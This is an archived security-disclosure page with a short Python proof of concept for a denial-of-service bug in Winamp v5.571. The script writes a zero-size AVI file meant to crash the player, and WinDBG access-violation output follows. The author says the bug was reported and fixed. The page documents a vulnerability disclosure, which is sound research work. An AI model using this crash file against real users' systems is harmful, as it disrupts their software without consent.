TUCoPS :: Windows Apps :: b1a-1169.htm

Winamp v5.571 malicious AVI file handling DoS Vulnerability
Winamp v5.571 malicious AVI file handling DoS Vulnerability
Winamp v5.571 malicious AVI file handling DoS Vulnerability



=0D
# Tested on Windows 7 and Winamp v5.571(x86)=0D
# This bug is informed to Nullsoft and was fixed long back.=0D
# The status can be found at http://forums.winamp.com/showthread.php?s=&threadid=316000 =0D 
# This code works on Python 3.0. To make it work on <3.0 remove braces in print=0D
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print("\n***Winamp v5.571 malicious AVI file handling DoS Vulnerability***\n")=0D
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try:=0D
	open('winampcrash.avi', 'w')=0D
	print ("Creating malicious AVI file . . . \n")=0D
	print ("Successfully created Zero size AVI file\n")=0D
	print ("Open created Zero size AVI file in Winamp.....Boom\n\n")=0D
except IOError:                     =0D
	print ("Unable to create Zero size AVI file\n")=0D
	=0D
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"""=0D
Following is the WinDBG status when we open winampcrash.AVI file in Winamp v5.571(x86)=0D
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(f00.e60): Access violation - code c0000005 (first chance)=0D
First chance exceptions are reported before any exception handling.=0D
This exception may be expected and handled.=0D
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0886fe68 edi=02880618=0D
eip=076243f1 esp=0886fc50 ebp=0886ff28 iopl=0         nv up ei pl zr na pe nc=0D
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246=0D
in_AVI!winampGetInModule2+0x13da:=0D
076243f1 8b4008          mov     eax,dword ptr [eax+8] ds:002b:00000008=????????=0D
=0D
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"""=0D
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=0D
#Best Regards,=0D
#Praveen Darshanam

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